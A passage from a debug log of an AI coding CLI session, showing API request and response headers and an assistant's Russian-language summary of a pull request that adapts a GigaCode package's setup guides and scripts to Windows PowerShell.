},\n[2026-09-29T08:02:28.464Z] [STDOUT]     stream: true,\n[2026-09-29T08:02:28.466Z] [STDOUT]   },\n[2026-09-29T08:02:28.468Z] [STDOUT]   headers: {\n[2026-09-29T08:02:28.470Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:02:28.472Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:02:28.475Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:02:28.478Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:02:28.481Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:02:28.483Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:02:28.486Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:02:28.488Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:02:28.490Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:02:28.492Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=5286\",\n[2026-09-29T08:02:28.494Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:02:28.496Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:02:28.500Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:28.503Z] [STDOUT]     \"x-client-request-id\": \"3f21db13-0e70-45c3-8540-6defadedec90\",\n[2026-09-29T08:02:28.505Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:02:28.507Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:02:28.509Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:02:28.511Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:02:28.513Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:02:28.516Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:02:28.518Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:02:28.524Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:02:28.526Z] [STDOUT]   },\n[2026-09-29T08:02:28.529Z] [STDOUT] }\n[2026-09-29T08:02:29.096Z] [STDOUT] [log_266a87, request-id: \"req_011CfXP4D6AJBzSJguEVzoBb\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 740ms\n[2026-09-29T08:02:29.101Z] [STDOUT] [log_266a87] response start {\n[2026-09-29T08:02:29.111Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:29.127Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:29.131Z] [STDOUT]   headers: {\n[2026-09-29T08:02:29.137Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:29.139Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:29.142Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:29.146Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:29.150Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:29.153Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.160Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:29.166Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:29.174Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:29.181Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:29.187Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:29.193Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:29.195Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:29.201Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.205Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:29.207Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:29.209Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:29.216Z] [STDOUT]     \"cf-ray\": \"a429773f4d7d5d90-FRA\",\n[2026-09-29T08:02:29.219Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:02:29.222Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:29.227Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:29.232Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:29.237Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:02:29 GMT\",\n[2026-09-29T08:02:29.242Z] [STDOUT]     \"request-id\": \"req_011CfXP4D6AJBzSJguEVzoBb\",\n[2026-09-29T08:02:29.247Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:02:29.250Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:29.255Z] [STDOUT]     traceresponse: \"00-35f698f0fb3f618e14f4edc68b1669af-426f0f848ab27e9d-01\",\n[2026-09-29T08:02:29.258Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:29.260Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:02:29.263Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:29.268Z] [STDOUT]   },\n[2026-09-29T08:02:29.272Z] [STDOUT]   durationMs: 740,\n[2026-09-29T08:02:29.276Z] [STDOUT] }\n[2026-09-29T08:02:29.279Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:02:29.288Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:02:29 GMT\",\n[2026-09-29T08:02:29.294Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:02:29.300Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:02:29.303Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:02:29.306Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:02:29.310Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:02:29.314Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:02:29.316Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:02:29.318Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:02:29.323Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:02:29.325Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:02:29.327Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:02:29.330Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:02:29.332Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.46\",\n[2026-09-29T08:02:29.335Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:02:29.338Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:02:29.340Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.343Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:02:29.346Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:02:29.349Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:02:29.350Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:02:29.352Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:02:29.354Z] [STDOUT]   \"request-id\": \"req_011CfXP4D6AJBzSJguEVzoBb\",\n[2026-09-29T08:02:29.357Z] [STDOUT]   \"traceresponse\": \"00-35f698f0fb3f618e14f4edc68b1669af-426f0f848ab27e9d-01\",\n[2026-09-29T08:02:29.361Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:02:29.364Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:02:29.368Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:02:29.370Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:02:29.372Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:02:29.375Z] [STDOUT]   \"cf-ray\": \"a429773f4d7d5d90-FRA\",\n[2026-09-29T08:02:29.377Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:02:29.379Z] [STDOUT] [log_266a87] response parsed {\n[2026-09-29T08:02:29.385Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:02:29.389Z] [STDOUT]   status: 200,\n[2026-09-29T08:02:29.391Z] [STDOUT]   body: X {\n[2026-09-29T08:02:29.393Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:02:29.397Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:02:29.399Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:02:29.403Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:02:29.406Z] [STDOUT]     },\n[2026-09-29T08:02:29.410Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:02:29.415Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:02:29.420Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:02:29.424Z] [STDOUT]   },\n[2026-09-29T08:02:29.426Z] [STDOUT]   durationMs: 741,\n[2026-09-29T08:02:29.430Z] [STDOUT] }\n[2026-09-29T08:02:29.858Z] [INFO] {\n[2026-09-29T08:02:29.858Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"message\": {\n[2026-09-29T08:02:29.858Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"id\": \"msg_011CfXP4DXhgFUMJfjBYJLKY\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:29.858Z] [INFO]     \"content\": [\n[2026-09-29T08:02:29.858Z] [INFO]       {\n[2026-09-29T08:02:29.858Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:02:29.858Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:02:29.858Z] [INFO]         \"signature\": \"CAQSkQUKEAgSGAI4AUIIdGhpbmtpbmcSDEEIzA5B2KYZSeZQYxoMXKhFLGJi0rS7C5DRIjCJz9s3YOlTQasIEoyZzUbExFraUVUg/kqCEnGQIkxaOFAcozUT8ZzuYrx83a4unmMqrgQruj9eq/6kNtAKsQKvULrNsCQVSbp5vAlKN5+d1bJwV1fOPC8pmNEf/Z9Aw6t3AIzr4NYtk6NDR90zdXoqmyiU5AryXkx2zA2cROXPw/NHjWR4qn5F3BJVAaRmTVxM3tIA0VhXLU3pKwGWIM5ScNxQ4dOwcoU5MiGsacVHgOCn3fiTeTPSf8JLymHMvAKtQBrRNZLnrxlkY6hWquqF0DLKm7KCaGGLPl015/H0An1awAO/fVb/GAIiGqv4ZL6UQHCAALHIgYawezoju47tJL1L0ctOgSqQLUq4ODMyhYMwpwfFYS/Fd6U6Bxg1Rsb+BGdP6pZ4BGVfpzqGTpqPbFCR7+y5gPY3UZD9F3M7ozSAIKw3Q4ZCO1YWx+xXFJLvfi1N2+wbG6KW+eI1StBxtSgTfFVVjiEipn5iudEOV9oyeUB10VEvsD5sofOOAL/XZrqDpe37VZAgiuPCLMj5co8YfGbpnveARSCqyQbSSu6J2zhMlXpPRHysbzHP8M0LfP7tJUfYlbHCB4uOzSle+VHqr/0O79B5tQBn37GYFoheOJhlJgiWAFWAyWJEa/dAy+pJA7fqxn5Mb3tilq57rPF+pTIY4vsH+vjDgXTUqXM1/Igd2A2FlkJvZeN5peOqdHBAVRryaWSJUVQCiXGUW17o+CjILxT8fyyrb2mw0onwtQ/5/ZIVRSTL0of2dK3uzIRSAA9ysUpDeIKeXSNddrgxlImd5lH1c75Q7nc2TIEYAQ==\"\n[2026-09-29T08:02:29.858Z] [INFO]       }\n[2026-09-29T08:02:29.858Z] [INFO]     ],\n[2026-09-29T08:02:29.858Z] [INFO]     \"container\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"usage\": {\n[2026-09-29T08:02:29.858Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:02:29.858Z] [INFO]       \"cache_creation_input_tokens\": 626,\n[2026-09-29T08:02:29.858Z] [INFO]       \"cache_read_input_tokens\": 82402,\n[2026-09-29T08:02:29.858Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:02:29.858Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:02:29.858Z] [INFO]         \"ephemeral_1h_input_tokens\": 626\n[2026-09-29T08:02:29.858Z] [INFO]       },\n[2026-09-29T08:02:29.858Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T08:02:29.858Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:02:29.858Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:02:29.858Z] [INFO]     },\n[2026-09-29T08:02:29.858Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:02:29.858Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:02:29.858Z] [INFO]     \"context_management\": null\n[2026-09-29T08:02:29.858Z] [INFO]   },\n[2026-09-29T08:02:29.858Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:29.858Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"uuid\": \"a56ef021-89d9-4c20-b9b3-489006baaa14\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:29.847Z\",\n[2026-09-29T08:02:29.858Z] [INFO]   \"request_id\": \"req_011CfXP4D6AJBzSJguEVzoBb\"\n[2026-09-29T08:02:29.858Z] [INFO] }\n[2026-09-29T08:02:29.868Z] [INFO] {\n[2026-09-29T08:02:29.868Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:02:29.868Z] [INFO]   \"message\": {\n[2026-09-29T08:02:29.868Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"id\": \"msg_011CfXP4DXhgFUMJfjBYJLKY\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:02:29.868Z] [INFO]     \"content\": [\n[2026-09-29T08:02:29.868Z] [INFO]       {\n[2026-09-29T08:02:29.868Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:02:29.868Z] [INFO]         \"text\": \"There are no new comments and main hasn't moved. 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#628/#636. \u042d\u0442\u043e \u0442\u0435 \u0436\u0435 \u0441\u0435\u043c\u044c \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0435 \u0436\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0447\u0442\u0435\u043d\u0438\u044f, \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0432\u043d\u0438\u0437\u0443 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 `#term-\u2026`.\\n\\n**\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64)**, \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/641). \u041a\u043e\u043c\u0430\u043d\u0434\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 Windows PowerShell 5.1 \u0438\u043b\u0438 PowerShell 7, Python 3.10+ \u0441 python.org, Git for Windows. \u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0434\u0451\u0442 \u0432 \u0434\u0432\u0443\u0445 \u043e\u043a\u043d\u0430\u0445 PowerShell: A \u2014 \u0434\u0438\u0430\u043b\u043e\u0433 \u0441 GigaCode, B \u2014 runner `python tools/run-task.py`.\\n- \u0412\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u0431\u043b\u043e\u043a\u0438 `powershell`. \u041f\u0443\u0442\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `$env:USERPROFILE\\\\bcreq-pilot\\\\\u2026`. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f `python` (\u043d\u0435 `python3`) \u0438 `python tools/run-task.py` / `python tools/validate-package.py` \u0432\u043c\u0435\u0441\u0442\u043e sh-\u043e\u0431\u0451\u0440\u0442\u043e\u043a. \u041e\u0431\u0451\u0440\u0442\u043a\u0438 `tools/run-task` \u0438 `tools/validate-package.sh` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f CI \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\\n- \u0412 `02-install.md` \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0438 Git for Windows \u0438 Python (\u00abAdd python.exe to PATH\u00bb) \u0438 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 Windows: \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 Microsoft Store, ExecutionPolicy \u0434\u043b\u044f `gigacode`, \u00ab\u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e \u043a\u0430\u043a \u0438\u043c\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442\u0430\u00bb.\\n- \u0412 `03-deploy-package.md` \u043f\u0430\u043a\u0435\u0442 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043a\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0435\u0439 `Copy-Item`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u0432\u044f\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `python -m pip`. \u0422\u0430\u043c \u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b KB \u0432 `kb-source\\\\`, `.gigacode\\\\settings.json` \u0447\u0435\u0440\u0435\u0437 `notepad` \u0438 `$env:CONFLUENCE_TOKEN`.\\n- \u0412 `05-commands-reference.md` \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 Working \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u0430\u043a here-string `@'\u2026'@ | python -`, \u0447\u0442\u0435\u043d\u0438\u0435 trace \u2014 \u0447\u0435\u0440\u0435\u0437 `Get-Content -Encoding UTF8 -Tail 1`. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 `git -C source-lab pull` \u043f\u043b\u044e\u0441 `Copy-Item -Recurse -Force`; \u044d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438 \u0441\u043a\u0440\u044b\u0442\u0443\u044e \u043f\u0430\u043f\u043a\u0443 `.gigacode`.\\n\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430, \u0431\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043d\u0430 Windows \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442. \u041a\u0430\u0436\u0434\u043e\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u043c \u043d\u0430 Windows-\u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445:\\n- `.gitattributes` (`* -text`) \u0432 \u043f\u0430\u043a\u0435\u0442\u0435. \u0411\u0435\u0437 \u043d\u0435\u0433\u043e Git for Windows (`core.autocrlf=true`) \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 LF \u0432 CRLF, \u0438 `G-mach` \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442 \u043a\u043b\u043e\u043d \u043f\u043e \u0445\u044d\u0448\u0430\u043c \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430.\\n- `validate-package.py` \u0438 `bcreq_pipeline.py` \u0447\u0438\u0442\u0430\u044e\u0442 \u0444\u0430\u0439\u043b\u044b \u043a\u0430\u043a `utf-8-sig`. Windows PowerShell 5.1 (`Set-Content -Encoding UTF8`) \u0438 \u0411\u043b\u043e\u043a\u043d\u043e\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 BOM.\\n- `validate-package.py` \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `.git/` \u043a\u043b\u043e\u043d\u0430 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n- `run-task.py` \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `G-mach` \u0441 `PYTHONIOENCODING=utf-8`. `validate-package.py`, `bcreq_pipeline.py` \u0438 `run-task.py` \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043a\u0430\u043d\u0430\u043b \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435\u0442 \u0432 ANSI-\u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043d\u0430 escape-\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u044e\u0442 \u0441 `UnicodeEncodeError`. \u042d\u0442\u043e \u043d\u0430\u0448\u043b\u0430 CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`: \u0442\u0430\u043c \u0441\u0442\u043e\u0438\u0442 cp1252.\\n\\nGigaCode-\u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 Source, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u043d\u0435\u0441\u0435\u043d\u044b \u043f\u0440\u044f\u043c\u043e \u0432 `dist/`. `outputs.hashes` \u0432 `package-manifest.yaml` \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c `experiments/issue_638_update_manifest_hashes.py`.\\n\\n| \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | \u0427\u0442\u043e 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\u043c\u0435\u0442\u0440\u0438\u043a\u0438, \u0441\u0431\u0440\u043e\u0441 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n| `05-commands-reference.md` | \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c, \u00ab\u0417\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c Working\u00bb, \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430, \u0447\u0442\u0435\u043d\u0438\u0435 trace, \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430, \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0447\u0435\u0433\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0435\u0442 |\\n| `06-working-with-gigacode.md` | \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f 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Windows-\u0443\u0441\u043b\u043e\u0432\u0438\u0439 runner |\\n| `.github/workflows/validate.yml` | \u041d\u043e\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides` (`windows-latest`, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `powershell` / `pwsh`); \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 `validate` \u0437\u0430\u0434\u0430\u043d `GUIDE_SHELL: pwsh`, \u0447\u0442\u043e\u0431\u044b \u0442\u0435\u0441\u0442 \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f |\\n| `ops/backlog.md` | \u0421\u043f\u0440\u0438\u043d\u0442 27, \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221 (TODO) \u0438 B-222 (DONE \u0434\u043b\u044f Windows 10/11); \u0432\u0435\u0440\u0441\u0438\u044f 1.68 \u0438 \u0435\u0451 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0432 `validate-repository-structure.sh` |\\n\\n\u041d\u0430\u0439\u0434\u0435\u043d\u043e \u043f\u0440\u0438 